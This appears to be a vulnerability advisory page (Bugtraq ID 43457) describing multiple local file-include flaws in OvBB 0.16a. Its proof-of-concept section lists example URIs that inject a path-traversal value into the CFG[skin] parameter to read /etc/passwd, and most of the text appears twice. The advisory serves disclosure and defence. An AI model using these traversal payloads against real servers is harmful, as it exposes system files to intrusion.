Jonathon J. Freeman OvBB Multiple Local File Include Vulnerabilities
BID:43457
Info
Jonathon J. Freeman OvBB Multiple Local File Include Vulnerabilities
| Bugtraq ID: | 43457 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Sep 23 2010 12:00AM |
| Updated: | Sep 23 2010 12:00AM |
| Credit: | cOndemned |
| Vulnerable: |
Jonathon J. Freeman OvBB 0.16a |
| Not Vulnerable: | |
Discussion
Jonathon J. Freeman OvBB Multiple Local File Include Vulnerabilities
Jonathon J. Freeman OvBB is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker can exploit these vulnerabilities to obtain potentially sensitive information and to execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
OvBB 0.16a is vulnerable; other versions may also be affected.
Jonathon J. Freeman OvBB is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker can exploit these vulnerabilities to obtain potentially sensitive information and to execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
OvBB 0.16a is vulnerable; other versions may also be affected.
Exploit / POC
Jonathon J. Freeman OvBB Multiple Local File Include Vulnerabilities
Attackers can exploit these issues via a browser.
The following example URIs are available:
http://www.example.com/skins/default/addevent.tpl.php?CFG[skin]=../../../../../../../../../etc/passwd%00
http://www.example.com/skins/default/alreadyregistered.tpl.php?CFG[skin]=../../../../../../../../../etc/passwd%00
http://www.example.com/skins/default/calendar.tpl.php?CFG[skin]=../../../../../../../../../etc/passwd%00
http://www.example.com/skins/default/deleteposts.tpl.php?CFG[skin]=../../../../../../../../../etc/passwd%00
http://www.example.com/skins/default/deletethread.tpl.php?CFG[skin]=../../../../../../../../../etc/passwd%00
Attackers can exploit these issues via a browser.
The following example URIs are available:
http://www.example.com/skins/default/addevent.tpl.php?CFG[skin]=../../../../../../../../../etc/passwd%00
http://www.example.com/skins/default/alreadyregistered.tpl.php?CFG[skin]=../../../../../../../../../etc/passwd%00
http://www.example.com/skins/default/calendar.tpl.php?CFG[skin]=../../../../../../../../../etc/passwd%00
http://www.example.com/skins/default/deleteposts.tpl.php?CFG[skin]=../../../../../../../../../etc/passwd%00
http://www.example.com/skins/default/deletethread.tpl.php?CFG[skin]=../../../../../../../../../etc/passwd%00
Solution / Fix
Jonathon J. Freeman OvBB Multiple Local File Include Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
Jonathon J. Freeman OvBB Multiple Local File Include Vulnerabilities
References:
References:
- OvBB Project Page (SourceForge)